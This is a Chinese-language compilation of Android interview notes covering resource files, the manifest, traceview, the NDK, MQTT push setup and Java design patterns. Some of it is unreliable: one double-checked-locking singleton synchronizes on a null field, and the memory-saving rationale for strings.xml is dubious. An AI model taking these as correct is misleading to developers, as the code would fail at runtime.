\n</resources>\n每个string标签生命了一个字符串，name属性指定它的引用值\n（2）为什么要把这些出现的文字单独放在strings.xml文件中？\n答案：一是为了国际化，如果需要将文件中的文字换成别的国家的语言，就可以只需要替换掉一个strings.xml文件就可以了\n二是为了减少应用的体积，例如，我们要在应用中使用“哥想你了”这句话1000次，如果我们没有将“哥想你了”定义在strings.xml文件中，而是直接在应用中使用时写上这几个字，那么我们就会在应用中写4000个字。4000个字和4个字占用的内存可是有很大差距的啊，况且手机的内存本来就小，所以应该是能省就省\n（3）另外还有arrays.xml,color.xml等定义数组，颜色的，都最好用单独的一个xml文档\n1.2.3 layout文件：用来存放界面信息\n本例中的布局文件是自动生成的“main.xml”\n<?xml version=\"1.0\"encoding=\"utf-8\"?>\n<LinearLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"fill_parent\"\n    android:layout_height=\"fill_parent\"\n    android:orientation=\"vertical\">\n \n    <TextView\n        android:layout_width=\"fill_parent\"\n        android:layout_height=\"wrap_content\"\n        android:text=\"@string/test\"/>\n   \n</LinearLayout>\n<LinearLayout>元素：线性布局的意思，在该元素下的所有子元素都会根据他的”orientation”属性来决定是按行还是按列或者按逐个显示进行布局的\n<TextView>元素：是一种显示控件，他的”text”属性指定了在这个元素上显示的内容\n1.3 gen目录：gen目录下只有一个自动生成的“R.java”文件\n\n```java\n/*AUTO-GENERATED FILE.  DO NOT MODIFY.\n *\n * This class was automatically generated bythe\n * aapt tool from the resource data itfound.  It\n * should not be modified by hand.\n */\n \npackagecn.csdn.android.demo;\n \npublic final class R {\n    public static final class attr {\n    }\n    public static final class drawable {\n        public static final int ic_launcher=0x7f020000;\n    }\n    public static final class id {\n        public static final int button1=0x7f050000;\n        public static final int radioButton1=0x7f050001;\n        public static final int toggleButton1=0x7f050002;\n    }\n    public static final class layout {\n        public static final int main=0x7f030000;\n    }\n    public static final class string {\n        public static final int app_name=0x7f040001;\n        public static final int hello=0x7f040000;\n        public static final int start=0x7f040004;\n        public static final int startButton=0x7f040003;\n        public static final int test=0x7f040002;\n    }\n}\n```\nR.java文件：默认有attr,drawable,layout,string这四个静态内部类，每个静态内部类对应一中资源，如layout静态内部类对应layout中的界面文件，string静态内部类对应string内部的string标签。如果在layout中在增加一个界面文件或者在string内增加一个string标签，R.java会自动在其对应的内部类增加所增加的内容。\nR.java除了自动标识资源的索引功能外，还有另一个功能，就是当res文件中的某个资源在应用中没有被用到，在这个应用被编译时，系统不会把对应的资源编译到应用中的APR包中。\n1.4 AndroidManifest.xml 功能清单文件\n每个应用程序都会有一个AndroidManifest在它的根目录里面。这个清单为Android系统提供了这个应用的基本信息，系统在运行之前必须知道这些信息，另外，如果我们使用系统自带的服务，如拨号服务，应用安装服务等，都必须在AndroidManifest.xml文件中声明权限\nAndroidManifest.xml的功能：\n命名应用程序的Java应用包，这个包名用来唯一标识应用程序；\n描述应用程序的组件，对实现每个组件和公布其功能的类进行命名，这些声明使得Android系统了解这些组件以及它们在什么条件下可以被启动\n决定哪个组件运行在哪个进程里面\n声明应用程序必须具备的权限，用以访问受保护的API，以及和其他进程的交互\n声明应用程序其他的必备权限，用以组件之间的交互\n列举application所需要链接的库\n以HelloAndroid项目的功能清单为例子进行讲解：\n\n```xml\n<?xml version=\"1.0\"encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"cn.csdn.android.demo\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\">\n \n    <uses-sdk android:minSdkVersion=\"8\"/>\n \n    <application\n        android:icon=\"@drawable/ic_launcher\"\n        android:label=\"@string/app_name\">\n        <activity\n            android:label=\"@string/app_name\"\n            android:name=\".HelloActivity\">\n            <intent-filter >\n                <action android:name=\"android.intent.action.MAIN\" />\n \n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n    </application>\n</manifest>\n```\n\n1.4.1 <manifest>元素\n\n```xml\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    package=\"cn.csdn.android.demo\"\n    android:versionCode=\"1\"\n    android:versionName=\"1.0\">\n```\n<manifest>元素是AndroidManifest.xml的根元素,”xmlns:android”是指该文件的命名空间，“package”属性是Android应用所在的包，“android:versionCode”指定应用的版本号，如果应用不断升级，则需要修改这个值，”android:versionName”是版本的名称，这个可以根据自己的喜爱改变\n1.4.2 <application> 元素\n\n```xml\n<application\n        android:icon=\"@drawable/ic_launcher\"\n        android:label=\"@string/app_name\">\n        <activity\n            android:label=\"@string/app_name\"\n            android:name=\".HelloActivity\">\n            <intent-filter >\n                <action android:name=\"android.intent.action.MAIN\"/>\n \n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n    </application>\n```\n\n<application>元素是一个很重要的元素，开发组件都会在此下定义\n<application>元素的”icon”属性是用来设定应用的图标，其中“@drawable/ic_launcher”的意思是:在R.java文件中的drawable静态内部类下的icon，如下图所示\n<application>元素的“label”属性用来设定应用的名称，其中“@string/app_name”和上述的一样，也是R.java文件中的string静态内部类下的app_name\n1.4.3 <activity>元素\n\n```xml\n<activity\n            android:label=\"@string/app_name\"\n           android:name=\".HelloActivity\" >\n            <intent-filter >\n                <action android:name=\"android.intent.action.MAIN\" />\n \n                <category android:name=\"android.intent.category.LAUNCHER\" />\n            </intent-filter>\n        </activity>\n```\n\n<activity>元素的作用是注册一个activity信息，当我们在创建“HelloAndroid”这个项目时，指定了“Created Activity”属性为“HelloActivity”，然后ADT在生成项目时帮我们自动创建了一个Activity，就是“HelloActivity.java”；\n<activity>元素的“name“属性指定的是Activity的类名，其中“.HelloActivity”中的“.”指的是<manifest>元素中的“package”属性中指定的当前包，所以“.HelloActivity”就相当于“cn.csdn.android.demo.HelloActivity.java”，如果Activity在应用的包中可以不写“.”，但是为了避免出错，还是写上这个点把\n1.4.4<intent-filter>元素\n<intent-filter >\n                <action android:name=\"android.intent.action.MAIN\" />\n \n                <category android:name=\"android.intent.category.LAUNCHER\" />\n</intent-filter>\n<intent-filter>如果直接翻译的话是“意图过滤器”，组件通过<intent-filter>告诉它们所具备的功能，就是能响应意图类型，在intent中设置action, data, categroy之后在对应的intentfilter中设置相同的属性即可通过过滤被activity调用\n1.5<project.properties>应用要求运行的最低Android版本\n1.6<android 2.2>  存放Android自身的jar包 43.ddms 和traceview的区别.\n\n daivilk debug manager system\n1.在应用的主activity的onCreate方法中加入Debug.startMethodTracing(\"要生成的traceview文件的名字\");\n2.同样在主activity的onStop方法中加入Debug.stopMethodTracing();\n3.同时要在AndroidManifest.xml文件中配置权限\n   <uses-permission android:name=\"android.permission.WRITE_EXTERNAL_STORAGE\"></uses-permission>\n3.重新编译，安装，启动服务，测试完成取对应的traceview文件(adb pull /sdcard/xxxx.trace)。\n4.直接在命令行输入traceview xxxxtrace，弹出traceview窗口，分析对应的应用即可。\n \ntraceview 分析程序执行时间和效率\n \nKPI : key performance information : 关键性能指标:\n splash界面不能超过5秒\n 从splash 界面加载mainactivity 不能超过0.7秒 44.谈谈NDK\nNDK全称：Native Development Kit。\n1、NDK是一系列工具的集合。\n* NDK提供了一系列的工具，帮助开发者快速开发C（或C++）的动态库，并能自动将so和java应用一起打包成apk。这些工具对开发者的帮助是巨大的。[1] \n* NDK集成了交叉编译器，并提供了相应的mk文件隔离平台、CPU、API等差异，开发人员只需要简单修改mk文件（指出“哪些文件需要编译”、“编译特性要求”等），就可以创建出so。\n* NDK可以自动地将so和Java应用一起打包，极大地减轻了开发人员的打包工作。\n2、NDK提供了一份稳定、功能有限的API头文件声明。\nGoogle明确声明该API是稳定的，在后续所有版本中都稳定支持当前发布的API。从该版本的NDK中看出，这些API支持的功能非常有限，包含有：C标准库（libc）、标准数学库（libm）、压缩库（libz）、Log库（liblog）。 \n45.请介绍下Android的数据存储方式。\n\n一.SharedPreferences方式\n二sdcard\n三内部存储\n四SqliteDatabase\n　　五. 网络存储方式46.谈谈推送,优缺点以及实现原理\n\n本文主旨在于，对目前Android平台上最主流的几种消息推送方案进行分析和对比，比较客观地反映出这些推送方案的优缺点，帮助大家选择最合适的实施方案。\n\n方案1、使用GCM服务（Google Cloud Messaging）\n简介：Google推出的云消息服务，即第二代的C2DM。\n优点：Google提供的服务、原生、简单，无需实现和部署服务端。\n缺点：Android版本限制（必须大于2.2版本），该服务在国内不够稳定、需要用户绑定Google帐号，受限于Google。\n\n方案2、使用XMPP协议（Openfire + Spark + Smack）\n简介：基于XML协议的通讯协议，前身是Jabber，目前已由IETF国际标准化组织完成了标准化工作。\n优点：协议成熟、强大、可扩展性强、目前主要应用于许多聊天系统中，且已有开源的Java版的开发实例androidpn。\n缺点：协议较复杂、冗余（基于XML）、费流量、费电，部署硬件成本高。\n\n方案3、使用MQTT协议（更多信息见：http://mqtt.org/）\n简介：轻量级的、基于代理的“发布/订阅”模式的消息传输协议。\n优点：协议简洁、小巧、可扩展性强、省流量、省电，目前已经应用到企业领域（参考：http://mqtt.org/software），且已有C++版的服务端组件rsmb。\n缺点：不够成熟、实现较复杂、服务端组件rsmb不开源，部署硬件成本较高。\n\n方案4、使用HTTP轮循方式\n简介：定时向HTTP服务端接口（Web Service API）获取最新消息。\n优点：实现简单、可控性强，部署硬件成本低。\n缺点：实时性差。\n\n对各个方案的优缺点的研究和对比，推荐使用MQTT协议的方案进行实现，主要原因是：MQTT最快速，也最省流量（固定头长度仅为2字节），且极易扩展，适合二次开发。接下来，我们就来分析使用MQTT方案进行Android消息的原理和方法，并架设自己的推送服务。\n1、推送原理分析\n\n\n\n实际上，其他推送系统（包括GCM、XMPP方案）的原理都与此类似。\n\n2、推送服务端准备\n\na> 下载&解压rsmb安装包（下载地址：http://www.alphaworks.ibm.com/tech/rsmb）\nb> 进入对应的目录，比如32位的Linux系统则应该进入linux_ia32目录。\nc> 编辑配置文件broker_1883.cfg，配置如下：\n\n[html] view plaincopy\nport 1883  \nmax_inflight_messages 10  \nmax_queued_messages 1000  \nd> 运行./broker broker_1883.cfg，显示如下：\n20120823 110454.039 CWNAN9999I Really Small Message Broker\n20120823 110454.039 CWNAN9997I Licensed Materials - Property of IBM\n20120823 110454.039 CWNAN9996I Copyright IBM Corp. 2007, 2010 All Rights Reserved\n20120823 110454.039 CWNAN9995I US Government Users Restricted Rights - Use, duplication or disclosure restricted by GSA ADP Schedule Contract with IBM Corp.\n20120823 110454.039 CWNAN0049I Configuration file name is broker_1883.cfg\n20120823 110454.040 CWNAN0053I Version 1.2.0, Aug 18 2010 17:03:35\n20120823 110454.040 CWNAN0054I Features included: bridge\n20120823 110454.040 CWNAN9993I Author: Ian Craggs (icraggs@uk.ibm.com)\n20120823 110454.040 CWNAN0014I MQTT protocol starting, listening on port 1883\n... ...\n这样，推送服务的服务端就已经准备好了，监听1883端口。\n\n3、推送客户端准备\n\na> 下载&解压AndroidPushNotificationsDemo项目（下载地址：https://github.com/tokudu/AndroidPushNotificationsDemo）\nb> 将该项目导入Eclipse中（File -> Export -> Existing Projects into Workspace）\nc> 修改PushService.java中的MQTT_HOST常量为推送服务端的IP地址。\nd> 启动Android模拟器，并安装该项目。\n\n注意：在新版本的Android SDK中可能会遇到以下错误。\n... ...\n08-23 02:28:44.184: W/dalvikvm(282): VFY: unable to find class referenced in signature (Lcom/ibm/mqtt/MqttPersistence;)\n08-23 02:28:44.194: I/dalvikvm(282): Failed resolving Lcom/tokudu/demo/PushService$MQTTConnection; interface 35 'Lcom/ibm/mqtt/MqttSimpleCallback;'\n08-23 02:28:44.194: W/dalvikvm(282): Link of class 'Lcom/tokudu/demo/PushService$MQTTConnection;' failed\n08-23 02:28:44.194: E/dalvikvm(282): Could not find class 'com.tokudu.demo.PushService$MQTTConnection', referenced from method com.tokudu.demo.PushService.connect\n08-23 02:28:44.194: W/dalvikvm(282): VFY: unable to resolve new-instance 42 (Lcom/tokudu/demo/PushService$MQTTConnection;) in Lcom/tokudu/demo/PushService;\n... ...\n08-23 02:28:44.404: E/AndroidRuntime(282): java.lang.VerifyError: com.tokudu.demo.PushService\n08-23 02:28:44.404: E/AndroidRuntime(282):     at com.tokudu.demo.PushActivity$1.onClick(PushActivity.java:32)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at android.view.View.performClick(View.java:2408)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at android.view.View$PerformClick.run(View.java:8816)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at android.os.Handler.handleCallback(Handler.java:587)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at android.os.Handler.dispatchMessage(Handler.java:92)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at android.os.Looper.loop(Looper.java:123)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at android.app.ActivityThread.main(ActivityThread.java:4627)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at java.lang.reflect.Method.invokeNative(Native Method)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at java.lang.reflect.Method.invoke(Method.java:521)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:868)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:626)\n08-23 02:28:44.404: E/AndroidRuntime(282):     at dalvik.system.NativeStart.main(Native Method)\n... ...\n原因是发布的时候没有加入wmqtt.jar包，解决办法如下：\n1> 在项目根目录下创建libs目录，并把wmqtt.jar包移入该目录。\n2> 重新配置项目的Java Build Path（右键菜单中的Properties选项中）。\n3> 重新打包发布即可。\n\n运行效果如下：\n\n\n\n点击“Start Push Service”按钮即可开启推送服务。这时我们可以看到rsmb的服务日志中打出以下提示：\n20120823 113742.297 CWNAN0033I Connection attempt to listener 1883 received from client tokudu/9774d56d682e549c on address 192.168.28.39:3345\n其中的“9774d56d682e549c”就是对应的客户端ID号。\n\n4、发送服务准备\n\na> 下载&解压PHP版的发送服务端代码send_mqtt.zip（下载地址：http://download.csdn.net/detail/shagoo/4520102）\nb> 修改etc/config.php中推送服务端的IP地址和端口号，即MQTT_SERVER_HOST和MQTT_SERVER_POST常量。\nc> 打开对应的URL地址，就可以看到发送服务的界面，实际上就是向对应的推送客户端推送消息。47.谈谈数据加密\n\n数据加密又称密码学，它是一门历史悠久的技术，指通过加密算法和加密密钥将明文转变为密文，而解密则是通过解密算法和解密密钥将密文恢复为明文。数据加密目前仍是计算机系统对信息进行保护的一种最可靠的办法。它利用密码技术对信息进行加密，实现信息隐蔽，从而起到保护信息的安全的作用。用自己的话来说就是，只有双方才知道的协议。\n数据加密 - 密码算法分类\n1按发展进程分密码的发展:古典密码,对称密钥 密码公开密钥密码.\n2按加密模式分对称算法:序列密码和分组密码.\n经典密码 代替密码: 简单代替多名或同音代替多表代替多字母或多码代替换位密码: •对称加密算法 DES AES •非对称公钥算法 RSA 背包密码McEliece密码Rabin 椭圆曲线EIGamal D_H 48.解决问题和思考问题的方式\n\n首先查看官方提供的API，通过自己对功能的理解，然后通过网络的途径，下载demo可以选择 github ，查找问题可以选择 stackover flow，然后可以问身边的朋友。49.列举7到12个设计模式  以及它们的应用场景\n\n设计模式，提供了很多软件工程问题所需处理的解决方案。\n根据模式的目的可分为3类： 1.创建型模式：与对象的创建有关。 2.结构性模式：处理类与对象的组合。 3.行为性模式：对类或对象怎样交互和怎样 分配职责进行描述。\n面向对象设计的2个基本原则: 1.针对接口编程，而不是针对实现编程。 2.优先使用对象组合，而不是类继承。 \n面向对象设计的5个设计原则： 1.单一职责原则(SRP) 2.开放封闭原则(OCP)  3.Liskov替换原则(LSP) 4.依赖倒置原则(DIP) 5.接口隔离原则(ISP) \n23中设计模式： 1.创建型模式： (1).工厂方法模式 (2).抽象工厂模式 (3).创建者模式 (4).原型模式 (5).单例模式 2.结构型模式： (6).适配器模式 (7).桥模式 (8).组合模式 (9).装饰模式 (10).外观模式 (11).享元模式 (12).代理模式 3.行为型模式 (13).解释器模式 (14).模板方法模式 (15).职责链模式 (16).命令模式 (17).迭代器模式 (18).中介者模式 (19).备忘录模式 (20).观察者模式 (21).状态模式 (22).策略模式 (23).访问者模式  除此之外，后来人发现很多新的模式，如空模式等。\n下面列举几个常见的问题导致重新设计，可能需要设计模式来分析解决： 1.通过显示的指定一个类来创建对象 2.对特殊操作的依赖 3.对硬件和软件平台的依赖 4.对对象表示或实现的依赖 5.算法依赖 6.紧耦合 7.通过生产子类来扩展功能 8.不能方便的对类进行修改\n软件的设计臭味： 1.僵化性 2.脆弱性 3.顽固性 4.粘滞性 5.不必要的复杂性 6.不必要的重复 7.晦涩性  ... ... 总而言之，一句话，面向对象特性+原则+模式，折腾来折腾去就是这么个回事。\n \n设计模式（Design Patterns）\n                                  ——可复用面向对象软件的基础\n设计模式（Design pattern）是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。 毫无疑问，设计模式于己于他人于系统都是多赢的，设计模式使代码编制真正工程化，设计模式是软件工程的基石，如同大厦的一块块砖石一样。项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现在中都有相应的原理来与之对应，每一个模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。本章系Java之美[从菜鸟到高手演变]系列之设计模式，我们会以理论与实践相结合的方式来进行本章的学习，希望广大程序爱好者，学好设计模式，做一个优秀的软件工程师！\n在阅读过程中有任何问题，请及时联系：egg。\n邮箱：xtfggef@gmail.com 微博：http://weibo.com/xtfggef\n如有转载，请说明出处：http://blog.csdn.net/zhangerqing\n企业级项目实战(带源码)地址：http://zz563143188.iteye.com/blog/1825168\n23种模式java实现源码及收集五年的开发资料下载地址：  http://pan.baidu.com/share/home?uk=4076915866&view=share\n一、设计模式的分类\n总体来说设计模式分为三大类：\n创建型模式，共五种：工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。\n结构型模式，共七种：适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。\n行为型模式，共十一种：策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。\n其实还有两类：并发型模式和线程池模式。用一个图片来整体描述一下：\n\n \n二、设计模式的六大原则\n1、开闭原则（Open Close Principle）\n开闭原则就是说对扩展开放，对修改关闭。在程序需要进行拓展的时候，不能去修改原有的代码，实现一个热插拔的效果。所以一句话概括就是：为了使程序的扩展性好，易于维护和升级。想要达到这样的效果，我们需要使用接口和抽象类，后面的具体设计中我们会提到这点。\n2、里氏代换原则（Liskov Substitution Principle）\n里氏代换原则(Liskov Substitution Principle LSP)面向对象设计的基本原则之一。 里氏代换原则中说，任何基类可以出现的地方，子类一定可以出现。 LSP是继承复用的基石，只有当衍生类可以替换掉基类，软件单位的功能不受到影响时，基类才能真正被复用，而衍生类也能够在基类的基础上增加新的行为。里氏代换原则是对“开-闭”原则的补充。实现“开-闭”原则的关键步骤就是抽象化。而基类与子类的继承关系就是抽象化的具体实现，所以里氏代换原则是对实现抽象化的具体步骤的规范。—— From Baidu 百科\n3、依赖倒转原则（Dependence Inversion Principle）\n这个是开闭原则的基础，具体内容：真对接口编程，依赖于抽象而不依赖于具体。\n4、接口隔离原则（Interface Segregation Principle）\n这个原则的意思是：使用多个隔离的接口，比使用单个接口要好。还是一个降低类之间的耦合度的意思，从这儿我们看出，其实设计模式就是一个软件的设计思想，从大型软件架构出发，为了升级和维护方便。所以上文中多次出现：降低依赖，降低耦合。\n5、迪米特法则（最少知道原则）（Demeter Principle）\n为什么叫最少知道原则，就是说：一个实体应当尽量少的与其他实体之间发生相互作用，使得系统功能模块相对独立。\n6、合成复用原则（Composite Reuse Principle）\n原则是尽量使用合成/聚合的方式，而不是使用继承。\n三、Java的23中设计模式\n从这一块开始，我们详细介绍Java中23种设计模式的概念，应用场景等情况，并结合他们的特点及设计模式的原则进行分析。\n1、工厂方法模式（Factory Method）\n工厂方法模式分为三种：\n11、普通工厂模式，就是建立一个工厂类，对实现了同一接口的一些类进行实例的创建。首先看下关系图：\n\n举例如下：（我们举一个发送邮件和短信的例子）\n首先，创建二者的共同接口：\n```java\npublic interface Sender {  \n    public void Send();  \n}  \n其次，创建实现类：\n```java\npublic class MailSender implements Sender {  \n    @Override  \n    public void Send() {  \n        System.out.println(\"this is mailsender!\");  \n    }  \n} \n``` \n```java\npublic class SmsSender implements Sender {  \n  \n    @Override  \n    public void Send() {  \n        System.out.println(\"this is sms sender!\");  \n    }  \n}  \n```\n最后，建工厂类：\n```java\npublic class SendFactory {  \n  \n    public Sender produce(String type) {  \n        if (\"mail\".equals(type)) {  \n            return new MailSender();  \n        } else if (\"sms\".equals(type)) {  \n            return new SmsSender();  \n        } else {  \n            System.out.println(\"请输入正确的类型!\");  \n            return null;  \n        }  \n    }  \n}  \n```\n我们来测试下：\npublic class FactoryTest {  \n  \n    public static void main(String[] args) {  \n        SendFactory factory = new SendFactory();  \n        Sender sender = factory.produce(\"sms\");  \n        sender.Send();  \n    }  \n}  \n```\n输出：this is sms sender!\n22、多个工厂方法模式，是对普通工厂方法模式的改进，在普通工厂方法模式中，如果传递的字符串出错，则不能正确创建对象，而多个工厂方法模式是提供多个工厂方法，分别创建对象。关系图：\n\n将上面的代码做下修改，改动下SendFactory类就行，如下：\n```java\npublic class SendFactory {  \n   public Sender produceMail(){  \n        return new MailSender();  \n    }  \n      \n    public Sender produceSms(){  \n        return new SmsSender();  \n    }  \n}  \n```\n测试类如下：\n```java\npublic class FactoryTest {  \n  \n    public static void main(String[] args) {  \n        SendFactory factory = new SendFactory();  \n        Sender sender = factory.produceMail();  \n        sender.Send();  \n    }  \n}  \n```\n输出：this is mailsender!\n33、静态工厂方法模式，将上面的多个工厂方法模式里的方法置为静态的，不需要创建实例，直接调用即可。\n```java\npublic class SendFactory {  \n      \n    public static Sender produceMail(){  \n        return new MailSender();  \n    }  \n      \n    public static Sender produceSms(){  \n        return new SmsSender();  \n    }  \n}  \n```\n```java\npublic class FactoryTest {  \n  \n    public static void main(String[] args) {      \n        Sender sender = SendFactory.produceMail();  \n        sender.Send();  \n    }  \n}  \n```\n输出：this is mailsender!\n总体来说，工厂模式适合：凡是出现了大量的产品需要创建，并且具有共同的接口时，可以通过工厂方法模式进行创建。在以上的三种模式中，第一种如果传入的字符串有误，不能正确创建对象，第三种相对于第二种，不需要实例化工厂类，所以，大多数情况下，我们会选用第三种——静态工厂方法模式。\n2、抽象工厂模式（Abstract Factory）\n工厂方法模式有一个问题就是，类的创建依赖工厂类，也就是说，如果想要拓展程序，必须对工厂类进行修改，这违背了闭包原则，所以，从设计角度考虑，有一定的问题，如何解决？就用到抽象工厂模式，创建多个工厂类，这样一旦需要增加新的功能，直接增加新的工厂类就可以了，不需要修改之前的代码。因为抽象工厂不太好理解，我们先看看图，然后就和代码，就比较容易理解。\n\n请看例子：\n```java\npublic interface Sender {  \n    public void Send();  \n}  \n两个实现类：\n```java\npublic class MailSender implements Sender {  \n    @Override  \n    public void Send() {  \n        System.out.println(\"this is mailsender!\");  \n    }  \n}  \n```\n```java\npublic class SmsSender implements Sender {  \n  \n    @Override  \n    public void Send() {  \n        System.out.println(\"this is sms sender!\");  \n    }  \n} \n``` \n两个工厂类：\n```java\npublic class SendMailFactory implements Provider {  \n      \n    @Override  \n    public Sender produce(){  \n        return new MailSender();  \n    }  \n}  \n```\n```java\npublic class SendSmsFactory implements Provider{  \n  \n    @Override  \n    public Sender produce() {  \n        return new SmsSender();  \n    }  \n}  \n```\n在提供一个接口：\n```java\npublic interface Provider {  \n    public Sender produce();  \n}  \n```\n测试类：\n```java\npublic class Test {  \n  \n    public static void main(String[] args) {  \n        Provider provider = new SendMailFactory();  \n        Sender sender = provider.produce();  \n        sender.Send();  \n    }  \n}  \n```\n其实这个模式的好处就是，如果你现在想增加一个功能：发及时信息，则只需做一个实现类，实现Sender接口，同时做一个工厂类，实现Provider接口，就OK了，无需去改动现成的代码。这样做，拓展性较好！\n3、单例模式（Singleton）\n单例对象（Singleton）是一种常用的设计模式。在Java应用中，单例对象能保证在一个JVM中，该对象只有一个实例存在。这样的模式有几个好处：\n1、某些类创建比较频繁，对于一些大型的对象，这是一笔很大的系统开销。\n2、省去了new操作符，降低了系统内存的使用频率，减轻GC压力。\n3、有些类如交易所的核心交易引擎，控制着交易流程，如果该类可以创建多个的话，系统完全乱了。（比如一个军队出现了多个司令员同时指挥，肯定会乱成一团），所以只有使用单例模式，才能保证核心交易服务器独立控制整个流程。\n首先我们写一个简单的单例类：\n```java\npublic class Singleton {  \n  \n    /* 持有私有静态实例，防止被引用，此处赋值为null，目的是实现延迟加载 */  \n    private static Singleton instance = null;  \n  \n    /* 私有构造方法，防止被实例化 */  \n    private Singleton() {  \n    }  \n  \n    /* 静态工程方法，创建实例 */  \n    public static Singleton getInstance() {  \n        if (instance == null) {  \n            instance = new Singleton();  \n        }  \n        return instance;  \n    }  \n  \n    /* 如果该对象被用于序列化，可以保证对象在序列化前后保持一致 */  \n    public Object readResolve() {  \n        return instance;  \n    }  \n} \n``` \n这个类可以满足基本要求，但是，像这样毫无线程安全保护的类，如果我们把它放入多线程的环境下，肯定就会出现问题了，如何解决？我们首先会想到对getInstance方法加synchronized关键字，如下：\n```java\npublic static synchronized Singleton getInstance() {  \n        if (instance == null) {  \n            instance = new Singleton();  \n        }  \n        return instance;  \n    }  \n```\n\n但是，synchronized关键字锁住的是这个对象，这样的用法，在性能上会有所下降，因为每次调用getInstance()，都要对对象上锁，事实上，只有在第一次创建对象的时候需要加锁，之后就不需要了，所以，这个地方需要改进。我们改成下面这个：\n```java\npublic static Singleton getInstance() {  \n        if (instance == null) {  \n            synchronized (instance) {  \n                if (instance == null) {  \n                    instance = new Singleton();  \n                }  \n            }  \n        }  \n        return instance;  \n    }  \n```\n\n似乎解决了之前提到的问题，将synchronized关键字加在了内部，也就是说当调用的时候是不需要加锁的，只有在instance为null，并创建对象的时候才需要加锁，性能有一定的提升。但是，这样的情况，还是有可能有问题的，看下面的情况：在Java指令中创建对象和赋值操作是分开进行的，也就是说instance = new Singleton();语句是分两步执行的。但是JVM并不保证这两个操作的先后顺序，也就是说有可能JVM会为新的Singleton实例分配空间，然后直接赋值给instance成员，然后再去初始化这个Singleton实例。这样就可能出错了，我们以A、B两个线程为例：\na>A、B线程同时进入了第一个if判断\nb>A首先进入synchronized块，由于instance为null，所以它执行instance = new Singleton();\nc>由于JVM内部的优化机制，JVM先画出了一些分配给Singleton实例的空白内存，并赋值给instance成员（注意此时JVM没有开始初始化这个实例），然后A离开了synchronized块。\nd>B进入synchronized块，由于instance此时不是null，因此它马上离开了synchronized块并将结果返回给调用该方法的程序。\ne>此时B线程打算使用Singleton实例，却发现它没有被初始化，于是错误发生了。\n所以程序还是有可能发生错误，其实程序在运行过程是很复杂的，从这点我们就可以看出，尤其是在写多线程环境下的程序更有难度，有挑战性。我们对该程序做进一步优化：\n```java\nprivate static class SingletonFactory{           \n        private static Singleton instance = new Singleton();           \n    }           \n    public static Singleton getInstance(){           \n        return SingletonFactory.instance;           \n    } \n```\n\n实际情况是，单例模式使用内部类来维护单例的实现，JVM内部的机制能够保证当一个类被加载的时候，这个类的加载过程是线程互斥的。这样当我们第一次调用getInstance的时候，JVM能够帮我们保证instance只被创建一次，并且会保证把赋值给instance的内存初始化完毕，这样我们就不用担心上面的问题。同时该方法也只会在第一次调用的时候使用互斥机制，这样就解决了低性能问题。这样我们暂时总结一个完美的单例模式：\n```java\npublic class Singleton {  \n  \n    /* 私有构造方法，防止被实例化 */  \n    private Singleton() {  \n    }  \n  \n    /* 此处使用一个内部类来维护单例 */  \n    private static class SingletonFactory {  \n        private static Singleton instance = new Singleton();  \n    }  \n  \n    /* 获取实例 */  \n    public static Singleton getInstance() {  \n        return SingletonFactory.instance;  \n    }  \n  \n    /* 如果该对象被用于序列化，可以保证对象在序列化前后保持一致 */  \n    public Object readResolve() {  \n        return getInstance();  \n    }  \n}  \n```\n\n其实说它完美，也不一定，如果在构造函数中抛出异常，实例将永远得不到创建，也会出错。所以说，十分完美的东西是没有的，我们只能根据实际情况，选择最适合自己应用场景的实现方法。也有人这样实现：因为我们只需要在创建类的时候进行同步，所以只要将创建和getInstance()分开，单独为创建加synchronized关键字，也是可以的：\n```java\npublic class SingletonTest {  \n  \n    private static SingletonTest instance = null;  \n  \n    private SingletonTest() {  \n    }  \n  \n    private static synchronized void syncInit() {  \n        if (instance == null) {  \n            instance = new SingletonTest();  \n        }  \n    }  \n  \n    public static SingletonTest getInstance() {  \n        if (instance == null) {  \n            syncInit();  \n        }  \n        return instance;  \n    }  \n} \n``` \n考虑性能的话，整个程序只需创建一次实例，所以性能也不会有什么影响。\n补充：采用\"影子实例\"的办法为单例对象的属性同步更新\n```java\npublic class SingletonTest {  \n  \n    private static SingletonTest instance = null;  \n    private Vector properties = null;  \n  \n    public Vector getProperties() {  \n        return properties;  \n    }  \n  \n    private SingletonTest() {  \n    }  \n  \n    private static synchronized void syncInit() {  \n        if (instance == null) {  \n            instance = new SingletonTest();  \n        }  \n    }  \n  \n    public static SingletonTest getInstance() {  \n        if (instance == null) {  \n            syncInit();  \n        }  \n        return instance;  \n    }  \n  \n    public void updateProperties() {  \n        SingletonTest shadow = new SingletonTest();  \n        properties = shadow.getProperties();  \n    }  \n}  